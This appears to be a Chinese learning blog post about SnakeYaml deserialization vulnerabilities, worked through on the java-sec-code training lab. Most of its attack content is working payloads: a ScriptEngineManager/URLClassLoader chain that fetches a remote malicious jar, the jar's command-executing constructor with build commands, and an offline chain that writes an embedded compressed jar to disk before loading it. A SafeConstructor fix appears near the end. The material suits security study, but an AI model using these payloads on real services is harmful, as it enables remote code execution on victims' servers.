SnakeYaml反序列化
https://github.com/JoyChou93/java-sec-code
java有关的一个本地靶场,看了下shiro、fastjson、sql注入啥的都有,就当练练代码审计吧。在windows上起环境按这个来就好,jdk版本不能太高,我用的11
先看到了snakeyaml,稍微学学。但问了几个搞开发的同学都从没用过这玩意,让我不禁质疑相关漏洞的实用性,毕竟正经人不会用yaml传数据,与其他漏洞结合有什么奇技淫巧也说不定
SnakeYaml全版本(官方认为解析的数据就应该是可信的所以不认这个洞)
一、SnakeYaml简单理解
SnakeYaml是java处理yaml的库,支持序列化和反序列化。yaml优点在于可读性好,虽然感觉使用率上完全不如json。说起yaml以前只接触过docker-compose.yaml,正好项目里还有个。yaml大小写敏感,且缩进只能用空格不能用Tab
version : '3'
services:
jsc:
image: joychou/jsc:latest
command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
ports:
- "8080:8080"
- "8000:8000"
links:
- j_mysql
j_mysql:
image: joychou/jsc_mysql:latest
ports:
- "3306:3306"
用的环境是在之前看fastjson的环境里又加了个SnakeYaml
SnakeYaml通过yaml.dump序列化,yaml.load反序列化。反序列化时从yaml字符串中解析一个对象,此时与fastjson很像,SnakeYaml通过!!指定饭序列化的类型,注意yaml字符串里{
前有个空格
Yaml yaml = new Yaml();
String yamlStr = "!!org.example.Person {age: 18, name: Cara}";
Person person1 = (Person) yaml.load(yamlStr);
yaml.dump(person1);
但他这个类初始化的逻辑有一点坑,SnakeYaml首先会构造一个Person类,之后会优先使用反射来给属性赋值,只有当反射没成功时才会像fastjson一样找对应setter。就结果而言大概是这样的
public int age;
public String name;
public int age;
private String name;
private int age;
private String name;
setter不已属性命名时也可以通过setter给public属性赋值
public String name;
public void setInput(String name){
this.name=name;
System.out.println("setInput");
}
通过[]可以指定使用构造函数进行赋值,此时无论属性私有与否都行,但在存在构造函数的情况下依然load("!!org.example.Person {name : Cara, age : 18 }")
就会报错
public int age;
public String name;
public Person(int age, String name) {
this.age = age;
this.name = name;
System.out.println("constructor");
}
简单找下原因,此时private name, public age。看到二者在constructJavaBean2ndStep调用了不同的set重载,
private name进入的是MethodProperty,public age进入的是FieldProperty,注释里说的和前面总结的一样。其实流程和fastjson差不多,甚至还简短点,而且大部分时候是通过[]
利用构造函数。但我网上找的几篇这块写的都比较含糊,还有点小错
二、利用
2.1复现
回到java-sec-code,很直接的形式,项目给的是get方法,springboot2.0后内置的tomcat不允许url里存在[]
等特殊字符,想了想即使真的有个实际环境需要上传yaml也应该是post才合理些。给出的攻击思路是ScriptEngineManager
链,从payload通过urlClassLoader远程加载恶意jar包
/**
* http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
* yaml-payload.jar: https://github.com/artsploit/yaml-payload
*
* @param content payloads
*/
@PostMapping("/vuln/yarm")
public void yarm(@RequestParam("content") String content) {
Yaml y = new Yaml();
y.load(content);
}
"!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8848/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
从这里下载,AwesomeScriptEngineFactory类实现了ScriptEngineFactory接口,命令执行在构造函数里
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc");
// Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
生成jar包,当然你打包用的jdk版本要和服务端一样
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
目录下起个服务post传入payload就能弹计算器了
2.2原理
在Construct$ConstructSequence#construct里依次实例化url、urlClassLoader、ScriptEngineManager,重点关注下jar包是怎么被利用的
这里用到了SPI(Service Provider Interface)机制,简而言之java会从META-INF/service中寻找需要动态加载的类
Java SPI机制允许开发者编写一组接口,并在运行时动态加载实现这些接口的类。这种机制可以让应用程序在不修改代码的情况下更换实现类,从而达到灵活配置的目的。
Java SPI机制的主要组成部分包括:
服务提供者接口(Service Provider Interface):一组接口,用于定义一组服务或功能的标准。
服务提供者实现(Service Provider Implementation):实现服务提供者接口的类,提供具体的服务或功能。
服务提供者注册文件(Service Provider Registration File):用于声明服务提供者实现的文件,通常存放在JAR包的META-INF/services目录下。
具体在ServiceClassLoader$LazyClassPathLookupIterator#nextProviderClass实现spi机制,获取到接下来准备加载的类AwesomeScriptEngineFact
ServiceClassLoader$ProviderImpl#get里实例化来自jar包的AwesomeScriptEngineFactory类,触发构造函数里的命令执行
三、不出网
参考这里,思路仿照fastjson.12.68写文件的链
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
用连接里的代码把yaml-payload.jar写入payload,然后file协议访问
String content = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"E:/yaml-payload.txt\"],false],!!java.util.zip.Inflater { input: !!binary eJwL8GZmEWHg4OBg4Ox+GsaABDgZWBh8XUMcdT393PT/nWJgYGYI8GbnAEkxQZUE4NQsAsRwzb6Ofp5ursEher5un33PnPbx1tW7yOutq3XuzPnNQQZXjB88LdLz8tXx9L1YuoqFi8H1C4+uqMmfbqHJxUGicz53c33qFvJuWGVaubNiJ8QJkmpNjkALnKFO4GJgADqLA80JQFGGxKKS4oKc/MwSfYRT0dVpoahzLE8tzs9NDU4uyiwocc1Lz8xLdUtMLskvqtRLzkksLu4Njg6+7CDyb9uUZdMcvHeu0GjqutAkJJpvrGR8iuFxxJGNPHY/HgmVPUqalTKpd5p7fe/6X019/P8Y6qdUmQVnbXGwnvnT7Pmb8nfp9f9+/WM+UHtHW6H/JtOzgJOLV52vZOZm/fJ4V6M0mxhvBM/O1JeeWw9dCF/5ziAl/K/twYA1nv42/dK7le48262Xyfa66/Z7s8oCFWuntZV9yz6ynVw8NSt3/v7n007bHl+1OqDqnHNb0Oxtyoc8fsWd3rSyZfnRjoU1KZLaL6NMJTU3WQdP7zseKjPp9U2+Q0XpK0SNjE5+XpbT8bbZYcJjm04ry1+6l/J7bxiWR/2cFjyrLOvWQW45IcfOAPZ3PZPXFWWXx9+wui0oG7Fi+797WuV3fzUur5j88Kbhs7mzri8/nlEepL5HdLVCmAmnqtSh4LvGOdHiJakL3wfk8hRPjWt+te/q2wC2tYpGPtvaLm5Z5JK/dH3pgl3y7dsipld5LpOrF5h4XyDznNX2qfJyOlnqalwSBgWXj+jeWfZ0887s2RGHZLMyJ/V+Wbs8Ots3mqWLLeWRHptEWsWKRQe+Lt3k981/9ff/CySW+Z/Zk2v65/qr1DeaK8tdzdfr9vzd/ELXVHSeqG/i63vz7kVJNeku8vhutsB7qs3qtxNuM01PvNC99O7y59Ye6l/bLqi85DX6wvj4c/zBfYrB76xdvl1Vf5LN3X6iVjFsmo7Xly3GJUzCJwTFPLLVfgm1GfQoHeNof7Gs5Uw+U1qAS9M/nUqNLFeh3CY/t/S2WrWUzuMxiySVZd41Ls8/JbEwx++5b2LIa+H9j20/pAf92Wz7YbXmv51yn+JUbO4z53cWMIkH7TmzcQ/7j47uGT4fNx3/JCcYtyiv5PP3lj++l+eVPM4ViDt4dV3pFY70SXyxv5lBmaHqwutPvcAMac6GnB8Z0RK5JrGJPCuxLHHtlFzvJwYCx+9/D2aJL33oYX9Arv0RM8e70DV3ft+0uLImU2hS53XXP+/8dkWvWfTirpn+rSln/vz7fKGH/SuDLheHyN7CWdNcF1q/Z+rktXHSX8x1a3JO2/WduVuPPp0uJr7gROtbaeeVc/esOV/dOm/L5vzzQpnK60vOfLJb2xvmJNkROOfP0RdWfxj0btxPaJ+26MeLHys1WNbbvi3225kQvDHexKLr5C7PaSXtm1xv5Z9uPSIXWrnkwIrFRzetWJVvFaJ+r9hgwuf+q5q71Zllmlnerw5O11QPXutw9ewTE++eD+kH772KmzLZiytmT7fkUv5bQc537txm6FKeodB1t7hC9nq/RNO+w5lrpZLehxUw7Xb62zbnsIuywtKEVt9jOv9nfmN3frLiv/yM+snzrV+tZ7xdfNfI6NzxmMLbedvl0l2eack1VOs+Fr1h9nHu3NW6yu8fHLvymlfr1IlsDhmZRI3vRvw75ipeEr20d/fj2Ymz1qq+cN8VnV/Xk3Z3x+SgTyHZj3l2lSrN/1S6KPFez6Yn50z4fWcob339IGpd5E+papmnfCcSjN5uOvHl92oze3F9ULxP8sx6vpCRgUGaDbkQdNg9wQ853oWQy+Hi1KKyzOTUYqTCEF29EVb1oERRoVcMTi56WFKNt46Wpt6Jk+d1Lhbr+OueO+/L66d3Skej8Kz3+TPepd4+eif1V7GAi+4J/EaCakA7VMBFNyOTCANq/QGrWUCVDypAqYowtCLVCCIo2mxxVEQgE7gYcNccCHAArR5B2AzSh5z9tFD0vSCpXkE2F5R5kaNXE8Xcs8wkZGVkb2JLGwhwlBV7SkE4C6QfOf6MUPR/xaqfUMoJ8GZlA+lmB0IWYDBWg3kAXUkY3Q== },1048576]]";
// String content = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///E:/yaml-payload.txt\"]]]]";
yaml.load(content);
四、写在后面
首先java-sec-code给出的修复方案也很简单,创建yaml时使用SafeConstructor就可以了
@GetMapping("/sec/yarm")
public void secYarm(String content) {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
}
然后本着求知精神又找了找,看到一个比较偏实际环境的利用点,思路是修改服务端spring.cloud.bootstrap.location,将其中yaml配置文件指向vps上的恶意yaml,之后通过refresh接口让服务端重新加载yaml,加载时用到SnakeYaml触发上面一条链。但问题是只能在低版本spring(1.4和部分1.5)能成,感觉用处有限
参考
写的挺全,总结了好几条链子
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml反序列化漏洞/#相关应用CVE
不出网的用法暂时没看懂,等深入fastjson后再看